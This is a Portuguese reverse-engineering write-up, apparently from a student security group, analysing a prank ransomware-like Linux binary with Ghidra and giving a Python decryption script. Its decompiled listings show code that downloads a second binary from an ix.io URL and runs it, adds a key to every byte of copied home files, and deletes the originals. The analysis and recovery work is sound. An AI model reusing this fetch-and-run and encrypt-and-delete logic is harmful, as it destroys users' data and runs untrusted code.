GRIS - TAG - Engenharia Reversa - 04/03/2020

Nome: Filipe Augusto da Silva

OBJETIVO:

Analisar e descrever o arquivo tag e suas derivações.

Apresentar uma solução para reverter o executável tag

DESCRIÇÃO:

Primeiramente, é importante analisar os metadados do arquivo a ser analisado. Para tal

finalidade, utilizei o comando file.

augusto@augusto:~/Downloads/sandbox\$ file tag
tag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l,
BuildID[sha1]=d34f920cd4166ce3cebd8ed705e9dd3e72b462cb, for GNU/Linux 3.2.0, not stripped

Trata-se de um arquivo ELF 64-bit. Em computação, o Executable and Linking Format

(ELF) é um padrão comum de arquivo para executáveis, código objeto, bibliotecas

compartilhadas, e core dumps. Cada arquivo ELF é composto de um cabeçalho ELF, seguido

pelos dados do arquivo. Os dados podem incluir:

• Tabela de cabeçalho do programa, descrevendo zero ou mais segmentos de memória;

• Tabela de cabeçalho de seção, descrevendo zero ou mais seções;

Dados referidos por entradas na tabela de cabeçalho do programa ou na tabela de

cabeçalho de seção.

Os segmentos contêm informações que são necessárias para a execução dos arquivos

em tempo de execução, enquanto as seções contêm dados importantes para ligação e

relocação. Qualquer byte, no arquivo inteiro, pode ser propriedade de uma seção no máximo e

pode haver bytes órfãos que não possuem proprietários por nenhuma seção.

ANÁLISE:

Foi utilizado o software **Ghidra** para análise do arquivo. Um programa gratuito e uma ferramenta de código aberta para engenharia reversa desenvolvida pela agência de segurança nacional americana (NSA - National Security Agency).

Assim, encontro a função principal do arquivo chamada *main*:

```
Decompile: main - (tag)
                                                                                                    3
 2 undefined8 main(void)
 3
 4 {
 5
    uint uVarl;
 6
     puts("Olá!");
     system("mkdir -p $USER && cp ~/* $USER 2> /dev/null");
     puts("Codificando os arquivos da sua home...");
     puts("Procure por uma forma de descodificá-los");
10
     puts("OBS: Não deslique sua máquina, se não não será mais possível recuperar os dados!!!");
11
12
     sleep(1);
13
     encripta_arquivos();
14
     printa ascii art();
15
     uVarl = system integrity check();
16
     system loader callback("http://ix.io/2c6V",(ulong)uVarl);
17
         "brincadeira, fiz uma cópia da sua home no diretório atual e encriptei seus arquivos lá, rs"
18
19
         );
20
     return 0;
21 }
22
```

Há poucas linhas relevantes que mereçam destaques, são elas:

- Linha 8: cria uma pasta com o mesmo do usuário no diretório atual e faz a cópia de todos os arquivos do diretório home para esta pasta.
- Linhas 13 e 14: posteriormente explicadas.
- Linha 15: variável uVar1 recebe a chave utilizada para encriptação da função _system_integrity_check(void).
- Linha 16: Chama a função _system_loader_callback(a,b) que será explicada posteriormente, sendo que os parâmetros são:
 - Um novo arquivo a ser baixado, chamarei de 2c6V.
 - Chave

```
G Decompile: encripta_arquivos - (tag)
 2 void encripta_arquivos(void)
 3
 4 {
 5
     time_t tVarl;
 6
 7
     tVarl = time((time_t *)0x0);
 8
     srand((uint)tVarl);
 9
     rand();
10
     return;
11 }
12
```

A função *encripta_arquivos(void)* tem um papel simples. Para gerar valores diferentes a cada execução é necessário utilizar a função **srand** que inicializa a função rand com um valor "semente" de tal forma que esta semente seja um valor diferente a cada execução do programa, isto por sua vez produz valores diferentes na sequência.

```
Decompile: printa_ascii_art - (tag)

void printa_ascii_art(void)

frintf("%s",banner);
   return;

Recompile: printa_ascii_art - (tag)

recompile: printa_ascii_art - (tag)

void printa_ascii_art(void)

recompile: printa_ascii_art - (tag)

void printa_ascii_art - (tag)

recompile: printa_ascii_art - (tag)

void printa_ascii_art - (tag)

recompile: printa_ascii_art - (tag)

void printa_ascii_art(void)

recompile: printa_ascii_art - (tag)

void printa_ascii_art(void)

recompile: printa_ascii_art - (tag)

void printa_ascii_art(void)

recompile: printa_ascii_art - (tag)

recompile: printa_ascii_a
```

A função *printa_ascii_art(void)* é uma pequena arte que aparece ao rodar o executável.

Decompile: system integrity check - (tag) 2 ulong system integrity check(void) 4 { 5 uint uVarl; 6 int iVar2; 7 FILE * stream; 8 9 iVar2 = rand(); 10 uVarl = iVar2 % 5 + 1;11 stream = fopen("/tmp/key","w+"); 12 fprintf(__stream, "%d\n", (ulong)uVarl); 13 fclose(stream); 14 return (ulong)uVarl; 15 } 16

A função _system_integrity_check(void) gera uma chave e armazena no arquivo key, localizado dentro do diretório /tmp do sistema operacional. Para elucidação, é feita uma operação algébrica arbitrária em cima de um valor "randômico" para constituição da chave.

```
Decompile: system loader callback - (tag)
 2 void system loader callback(undefined8 param 1, uint param 2)
 3
 4 {
 5
     long in_FS_OFFSET;
     char local_98 [136];
 6
 7
     long local 10;
 8
 9
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     download file from url(param 1, ".encriptador", ".encriptador");
10
11
     sprintf(local 98, "%s %d\n", "chmod u+x .encriptador && ./.encriptador", (ulong)param 2);
12
     system(local 98);
13
     sleep(2);
14
     if (local 10 != *(long *)(in FS OFFSET + 0x28)) {
15
                        /* WARNING: Subroutine does not return */
16
         stack chk fail();
17
18
     return;
19 }
20
```

A função _system_loader_callback(param_1, param_2) tem algumas finalidades:

- Utilizar a função download_file_from_url(parâmetros) para fazer download do arquivo 2c6V, baseando-se no param_1 que corresponde a URL do mesmo e nomeando-o como .encriptador.
- Transformar o arquivo .encriptador em executável
- Executar o arquivo .encriptador enviando a chave como parâmetro.

Como podemos perceber, o processo está em torno do arquivo .encriptador e, portanto, precisamos analisá-lo.

```
augusto@augusto:~/Downloads$ file 2c6V
2c6V: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked
, interpreter /lib64/l, BuildID[sha1]=d71703176ec2e267427b96c738ab9144de385e55,
for GNU/Linux 3.2.0, not stripped
```

De forma semelhante, percebe-se que é um arquivo ELF 64-bit também, logo, encontramos a função principal *main* utilizando o software Ghidra.

```
G Decompile: main - (2c6V)
 2 undefined8 main(int param 1, undefined8 *param 2)
 3
 4 {
    int iVarl;
 5
 6 int iVar2;
    char * name;
    undefined8 uVar3;
 9
    DIR * dirp;
10
    int *piVar4;
11
    FILE * stream;
    FILE * stream 00;
12
13
    dirent *pdVar5;
14
    long in FS OFFSET;
15
    char local 418 [512];
16
    char local 218 [520];
17
    long local 10;
18
19
    local 10 = *(long *)(in FS OFFSET + 0x28);
20
      name = getenv("USER");
21
    if (param 1 < 2) {
22
      printf("usage: ./%s <argument>",*param_2);
23
      uVar3 = 1;
24
    }
25
    else {
26
      iVarl = atoi((char *)param_2[1]);
27
      __dirp = opendir(__name);
```

```
😋 Decompile: main - (2c6V)
       if (_dirp == (DIR *)0x0) {
         piVar4 = __errno_location();
30
           _name = strerror(*piVar4);
         fprintf(stderr, "Error : Failed to open input directory - %s\n", __name);
         uVar3 = 1;
       }
34
       else {
35
         while (pdVar5 = readdir(__dirp), pdVar5 != (dirent *)0x0) {
           iVar2 = strcmp(pdVar5->d_name,".");
36
37
           if ((iVar2 != 0) && (iVar2 = strcmp(pdVar5->d_name,".."), iVar2 != 0)) {
             sprintf(local_418,"%s/%s",__name,pdVar5->d_name);
__stream = fopen(local_418,"rw");
38
39
             if (_stream == (FILE *)0x0) {
40
41
               piVar4 = __errno_location();
42
                 name = strerror(*piVar4);
43
                fprintf(stderr, "Error : Failed to open %s - %s\n", local 418, name);
44
               uVar3 = 1;
               goto LAB_001014b3;
45
46
47
             sprintf(local_218, "%s.leo", local_418);
48
                stream_00 = fopen(local_218,"w");
49
              while( true ) {
50
               iVar2 = fgetc(__stream);
                if ((char)iVar2 == -1) break;
                fputc((char)iVar2 + iVar1,__stream_00);
52
             7
53
              fclose( stream 00);
```

```
😋 Decompile: main - (2c6V)
                fprintf(stderr, "Error : Failed to open %s - %s\n", local_418, __name);
44
                uVar3 = 1:
45
                goto LAB_001014b3;
46
47
              sprintf(local_218, "%s.leo", local_418);
                stream_00 = fopen(local_218,"w");
49
              while( true ) {
               iVar2 = fgetc(__stream);
if ((char)iVar2 == -1) break;
50
51
                fputc((char)iVar2 + iVar1,__stream_00);
52
53
              fclose(_stream_00);
55
              fclose(__stream);
57
         }
58
         system("find $USER -type f ! -name \'*.leo\' -delete");
59
         uVar3 = 0:
       }
61
62 LAB 001014b3:
     if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
64
        return uVar3;
65
66
                        /* WARNING: Subroutine does not return */
67
       _stack_chk_fail();
68 }
69
```

O primeiro bloco de condição, começando na linha 21, quando verdadeiro, basicamente encerra o código; por outro lado, quando falso, dá-se início a validação do diretório e encriptação dos arquivos. Nota-se que a variável *iVar1* recebe a chave de encriptação na linha 26. Tal bloco também pode ser visualizado em assembly na seguinte passagem por meio do comando JG (*Jump if Condition Is Met*, em português: Pule se a condição for verdadeira):

```
IN THE RELEASE
                                     LAB 00101294
0010126a 7f 28
                         JG
                                     RAX, qword ptr [RBP + local 458]
0010126c 48 8b 85
                         MOV
         b0 fb ff ff
00101273 48 8b 00
                         MOV
                                     RAX, qword ptr [RAX]
00101276 48 89 c6
                         MOV
                                     RSI, RAX
00101279 48 8d 3d
                         LEA
                                     RDI, [s usage: ./%s <argument> 0010200
         8d 0d 00 00
00101280 b8 00 00
                         MOV
                                     EAX, 0x0
         00 00
00101285 e8 06 fe
                         CALL
                                     printf
         ff ff
0010128a b8 01 00
                         MOV
                                     EAX, 0x1
         00 00
0010128f e9 1f 02
                         JMP
                                     LAB 001014b3
         00 00
                                                                        XREF
                     LAB 00101294
00101294 48 8b 85
                         MOV
                                     RAX, gword ptr [RBP + local 458]
         TO THE TE TE
```

O segundo bloco de condição, começando na linha 28, verifica a validade do diretório home. Este também pode ser verificado no seguinte código Assembly por meio do comando JNZ que avalia uma comparação:

```
ff 00
                                     LAB 0010147e
001012ce Of 85 aa
                         JNZ
         01 00 00
001012d4 e8 67 fd
                         CALL
                                     errno location
         ff ff
001012d9 8b 00
                         MOV
                                     EAX, dword ptr [RAX]
001012db 89 c7
                         MOV
                                     EDI, EAX
001012dd e8 3e fe
                         CALL
                                     strerror
         ff ff
001012e2 48 89 c2
                         MOV
                                     RDX, RAX
001012e5 48 8b 05
                         MOV
                                     RAX, qword ptr [stderr]
         d4 2d 00 00
001012ec 48 8d 35
                         LEA
                                     RSI,[s Error : Failed to open input o
         35 0d 00 00
001012f3 48 89 c7
                         MOV
                                     RDI, RAX
001012f6 b8 00 00
                         MOV
                                     EAX, 0x0
         00 00
001012fb e8 d0 fd
                         CALL
                                     fprintf
         ff ff
00101300 b8 01 00
                         MOV
                                     EAX, 0x1
         00 00
00101305 e9 a9 01
                                     LAB 001014b3
                         JMP.
         00 00
                     LAB 0010130a
                                                                       XREF
0010130a 48 8b 85
                                     RAX, qword ptr [RBP + local 430]
                         MOV
```

Dado que as condições foram verificadas, há um *loop* que encripta caractere por caractere dos arquivos escolhidos, assim, pode-se a abertura de cada arquivo na linha 39, a nova nomeação do mesmo na linha 47, adicionando a extensão *.leo* e, por fim, checa-se, na linha 52, que a variável *(char)iVar2* é somada com a própria chave, invalidando o arquivo original, ou seja, incremento de caractere usando a chave.

Portanto, podemos ver que a chave é utilizada de maneira bastante simples, apenas somando-a, logo, a fim de solucionar o problema, basta utilizar o simétrico do inteiro da chave e usá-lo como parâmetro na execução do arquivo .encriptador. Assim, temos o seguinte algoritmo escrito na linguagem de programação Python a ser executado no diretório do executável tag:

```
import os
with open('/tmp/key', 'r') as file:
    data = file.read().replace('\n', '')
os.system('./.encriptador -'+data)
```

O arquivo denominado *reverse.py* faz a leitura da chave que está contida no arquivo *key*, dentro do diretório /tmp, e executa o arquivo .encriptador com o simétrico da chave. Por exemplo, se a chave estiver com o valor "2", o comando a ser executado será "./.encriptador -2", ou seja, haverá "incremento negativo" ou, simplesmente, um decremento na mesma ordem do incremento realizado no processo de encriptação. Assim, basta executar o arquivo *reverse.py*. Tal algoritmo poderia ser aperfeiçoado limpando os arquivos encriptados, mas não faz parte do objetivo proposto.